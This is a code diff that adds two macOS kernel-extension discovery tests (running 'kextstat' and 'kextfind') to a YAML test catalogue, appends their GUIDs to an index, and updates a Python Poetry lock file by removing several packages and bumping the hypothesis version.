kextstat
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Find Kernel Extensions (macOS)
|
||||
auto_generated_guid: c63bbe52-6f17-4832-b221-f07ba8b1736f
|
||||
description: |
|
||||
Searches for kernel extension (kext) files on a macOS system.
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: |
|
||||
kextfind
|
||||
name: bash
|
||||
elevation_required: false
|
||||
|
||||
@@ -1773,3 +1773,14 @@ d9efa6c7-6518-42b2-809a-4f2a8e242b9b
|
||||
a9604672-cd46-493b-b58f-fd4124c22dd3
|
||||
22386853-f68d-4b50-a362-de235127c443
|
||||
95a21323-770d-434c-80cd-6f6fbf7af432
|
||||
b52c8233-8f71-4bd7-9928-49fec8215cf5
|
||||
bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
997bb0a6-421e-40c7-b5d2-0f493904ef9b
|
||||
9b378962-a75e-4856-b117-2503d6dcebba
|
||||
7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a
|
||||
d70d82bd-bb00-4837-b146-b40d025551b2
|
||||
8f2a5d2b-4018-46d4-8f3f-0fea53754690
|
||||
d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1
|
||||
13c0fef5-9be9-4d7f-9c6b-901624e53770
|
||||
71eab73d-5d7d-4681-9a72-7873489a5b85
|
||||
c63bbe52-6f17-4832-b221-f07ba8b1736f
|
||||
|
||||
Generated
+142
-1060
@@ -12,17 +12,6 @@ files = [
|
||||
{file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "antlr4-python3-runtime"
|
||||
version = "4.9.3"
|
||||
description = "ANTLR 4.9.3 runtime for Python 3.7"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "attrs"
|
||||
version = "25.4.0"
|
||||
@@ -192,99 +181,32 @@ description = "Cross-platform colored terminal text."
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
|
||||
groups = ["main"]
|
||||
markers = "platform_system == \"Windows\" or sys_platform == \"win32\""
|
||||
markers = "sys_platform == \"win32\" or platform_system == \"Windows\""
|
||||
files = [
|
||||
{file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
|
||||
{file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colour"
|
||||
version = "0.1.5"
|
||||
description = "converts and manipulates various color representation (HSL, RVB, web, X11, ...)"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "colour-0.1.5-py2.py3-none-any.whl", hash = "sha256:33f6db9d564fadc16e59921a56999b79571160ce09916303d35346dddc17978c"},
|
||||
{file = "colour-0.1.5.tar.gz", hash = "sha256:af20120fefd2afede8b001fbef2ea9da70ad7d49fafdb6489025dae8745c3aee"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
test = ["nose"]
|
||||
|
||||
[[package]]
|
||||
name = "deepdiff"
|
||||
version = "8.6.1"
|
||||
description = "Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b"},
|
||||
{file = "deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
orderly-set = ">=5.4.1,<6"
|
||||
|
||||
[package.extras]
|
||||
cli = ["click (>=8.1.0,<8.2.0)", "pyyaml (>=6.0.0,<6.1.0)"]
|
||||
coverage = ["coverage (>=7.6.0,<7.7.0)"]
|
||||
dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)", "jsonpickle (>=4.0.0,<4.1.0)", "nox (==2025.5.1)", "numpy (>=2.0,<3.0) ; python_version < \"3.10\"", "numpy (>=2.2.0,<2.3.0) ; python_version >= \"3.10\"", "orjson (>=3.10.0,<3.11.0)", "pandas (>=2.2.0,<2.3.0)", "polars (>=1.21.0,<1.22.0)", "python-dateutil (>=2.9.0,<2.10.0)", "tomli (>=2.2.0,<2.3.0)", "tomli-w (>=1.2.0,<1.3.0)", "uuid6 (==2025.0.1)"]
|
||||
docs = ["Sphinx (>=6.2.0,<6.3.0)", "sphinx-sitemap (>=2.6.0,<2.7.0)", "sphinxemoji (>=0.3.0,<0.4.0)"]
|
||||
optimize = ["orjson"]
|
||||
static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)", "pydantic (>=2.10.0,<2.11.0)"]
|
||||
test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "drawsvg"
|
||||
version = "2.4.0"
|
||||
description = "A Python 3 library for programmatically generating SVG (vector) images and animations. Drawsvg can also render to PNG, MP4, and display your drawings in Jupyter notebook and Jupyter lab."
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "drawsvg-2.4.0-py3-none-any.whl", hash = "sha256:85b54044956390f05053bc2651e2414d54a4939b57a2be0a043e5cec2e04f1bb"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
all = ["cairoSVG (>=2.3,<3.0)", "imageio (>=2.5,<3.0)", "imageio-ffmpeg (>=0.4,<1.0)", "numpy (>=1.16,<2.0)", "pwkit (>=1.0,<2.0)"]
|
||||
color = ["numpy (>=1.16,<2.0)", "pwkit (>=1.0,<2.0)"]
|
||||
raster = ["cairoSVG (>=2.3,<3.0)", "imageio (>=2.5,<3.0)", "imageio-ffmpeg (>=0.4,<1.0)", "numpy (>=1.16,<2.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "et-xmlfile"
|
||||
version = "2.0.0"
|
||||
description = "An implementation of lxml.xmlfile for the standard library"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa"},
|
||||
{file = "et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hypothesis"
|
||||
version = "6.148.2"
|
||||
version = "6.148.7"
|
||||
description = "The property-based testing library for Python"
|
||||
optional = false
|
||||
python-versions = ">=3.10.2"
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "hypothesis-6.148.2-py3-none-any.whl", hash = "sha256:bf8ddc829009da73b321994b902b1964bcc3e5c3f0ed9a1c1e6a1631ab97c5fa"},
|
||||
{file = "hypothesis-6.148.2.tar.gz", hash = "sha256:07e65d34d687ddff3e92a3ac6b43966c193356896813aec79f0a611c5018f4b1"},
|
||||
{file = "hypothesis-6.148.7-py3-none-any.whl", hash = "sha256:94dbd58ebf259afa3bafb1d3bf5761ac1bde6f1477de494798cbf7960aabbdee"},
|
||||
{file = "hypothesis-6.148.7.tar.gz", hash = "sha256:b96e817e715c5b1a278411e3b9baf6d599d5b12207ba25e41a8f066929f6c2a6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
sortedcontainers = ">=2.1.0,<3.0.0"
|
||||
|
||||
[package.extras]
|
||||
all = ["black (>=20.8b0)", "click (>=7.0)", "crosshair-tool (>=0.0.97)", "django (>=4.2)", "dpcontracts (>=0.4)", "hypothesis-crosshair (>=0.0.25)", "lark (>=0.10.1)", "libcst (>=0.3.16)", "numpy (>=1.21.6)", "pandas (>=1.1)", "pytest (>=4.6)", "python-dateutil (>=1.4)", "pytz (>=2014.1)", "redis (>=3.0.0)", "rich (>=9.0.0)", "tzdata (>=2025.2) ; sys_platform == \"win32\" or sys_platform == \"emscripten\"", "watchdog (>=4.0.0)"]
|
||||
all = ["black (>=20.8b0)", "click (>=7.0)", "crosshair-tool (>=0.0.99)", "django (>=4.2)", "dpcontracts (>=0.4)", "hypothesis-crosshair (>=0.0.26)", "lark (>=0.10.1)", "libcst (>=0.3.16)", "numpy (>=1.21.6)", "pandas (>=1.1)", "pytest (>=4.6)", "python-dateutil (>=1.4)", "pytz (>=2014.1)", "redis (>=3.0.0)", "rich (>=9.0.0)", "tzdata (>=2025.2) ; sys_platform == \"win32\" or sys_platform == \"emscripten\"", "watchdog (>=4.0.0)"]
|
||||
cli = ["black (>=20.8b0)", "click (>=7.0)", "rich (>=9.0.0)"]
|
||||
codemods = ["libcst (>=0.3.16)"]
|
||||
crosshair = ["crosshair-tool (>=0.0.97)", "hypothesis-crosshair (>=0.0.25)"]
|
||||
crosshair = ["crosshair-tool (>=0.0.99)", "hypothesis-crosshair (>=0.0.26)"]
|
||||
dateutil = ["python-dateutil (>=1.4)"]
|
||||
django = ["django (>=4.2)"]
|
||||
dpcontracts = ["dpcontracts (>=0.4)"]
|
||||
@@ -325,24 +247,6 @@ files = [
|
||||
{file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jinja2"
|
||||
version = "3.1.6"
|
||||
description = "A very fast and expressive template engine."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"},
|
||||
{file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
MarkupSafe = ">=2.0"
|
||||
|
||||
[package.extras]
|
||||
i18n = ["Babel (>=2.7)"]
|
||||
|
||||
[[package]]
|
||||
name = "jsonschema"
|
||||
version = "4.25.1"
|
||||
@@ -380,41 +284,6 @@ files = [
|
||||
[package.dependencies]
|
||||
referencing = ">=0.31.0"
|
||||
|
||||
[[package]]
|
||||
name = "loguru"
|
||||
version = "0.7.3"
|
||||
description = "Python logging made (stupidly) simple"
|
||||
optional = false
|
||||
python-versions = "<4.0,>=3.5"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "loguru-0.7.3-py3-none-any.whl", hash = "sha256:31a33c10c8e1e10422bfd431aeb5d351c7cf7fa671e3c4df004162264b28220c"},
|
||||
{file = "loguru-0.7.3.tar.gz", hash = "sha256:19480589e77d47b8d85b2c827ad95d49bf31b0dcde16593892eb51dd18706eb6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = ">=0.3.4", markers = "sys_platform == \"win32\""}
|
||||
win32-setctime = {version = ">=1.0.0", markers = "sys_platform == \"win32\""}
|
||||
|
||||
[package.extras]
|
||||
dev = ["Sphinx (==8.1.3) ; python_version >= \"3.11\"", "build (==1.2.2) ; python_version >= \"3.11\"", "colorama (==0.4.5) ; python_version < \"3.8\"", "colorama (==0.4.6) ; python_version >= \"3.8\"", "exceptiongroup (==1.1.3) ; python_version >= \"3.7\" and python_version < \"3.11\"", "freezegun (==1.1.0) ; python_version < \"3.8\"", "freezegun (==1.5.0) ; python_version >= \"3.8\"", "mypy (==v0.910) ; python_version < \"3.6\"", "mypy (==v0.971) ; python_version == \"3.6\"", "mypy (==v1.13.0) ; python_version >= \"3.8\"", "mypy (==v1.4.1) ; python_version == \"3.7\"", "myst-parser (==4.0.0) ; python_version >= \"3.11\"", "pre-commit (==4.0.1) ; python_version >= \"3.9\"", "pytest (==6.1.2) ; python_version < \"3.8\"", "pytest (==8.3.2) ; python_version >= \"3.8\"", "pytest-cov (==2.12.1) ; python_version < \"3.8\"", "pytest-cov (==5.0.0) ; python_version == \"3.8\"", "pytest-cov (==6.0.0) ; python_version >= \"3.9\"", "pytest-mypy-plugins (==1.9.3) ; python_version >= \"3.6\" and python_version < \"3.8\"", "pytest-mypy-plugins (==3.1.0) ; python_version >= \"3.8\"", "sphinx-rtd-theme (==3.0.2) ; python_version >= \"3.11\"", "tox (==3.27.1) ; python_version < \"3.8\"", "tox (==4.23.2) ; python_version >= \"3.8\"", "twine (==6.0.1) ; python_version >= \"3.11\""]
|
||||
|
||||
[[package]]
|
||||
name = "markdown"
|
||||
version = "3.10"
|
||||
description = "Python implementation of John Gruber's Markdown."
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "markdown-3.10-py3-none-any.whl", hash = "sha256:b5b99d6951e2e4948d939255596523444c0e677c669700b1d17aa4a8a464cb7c"},
|
||||
{file = "markdown-3.10.tar.gz", hash = "sha256:37062d4f2aa4b2b6b32aefb80faa300f82cc790cb949a35b8caede34f2b68c0e"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python]"]
|
||||
testing = ["coverage", "pyyaml"]
|
||||
|
||||
[[package]]
|
||||
name = "markdown-it-py"
|
||||
version = "4.0.0"
|
||||
@@ -439,105 +308,6 @@ profiling = ["gprof2dot"]
|
||||
rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"]
|
||||
testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"]
|
||||
|
||||
[[package]]
|
||||
name = "markupsafe"
|
||||
version = "3.0.3"
|
||||
description = "Safely add untrusted strings to HTML/XML markup."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"},
|
||||
{file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"},
|
||||
{file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"},
|
||||
{file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"},
|
||||
{file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"},
|
||||
{file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"},
|
||||
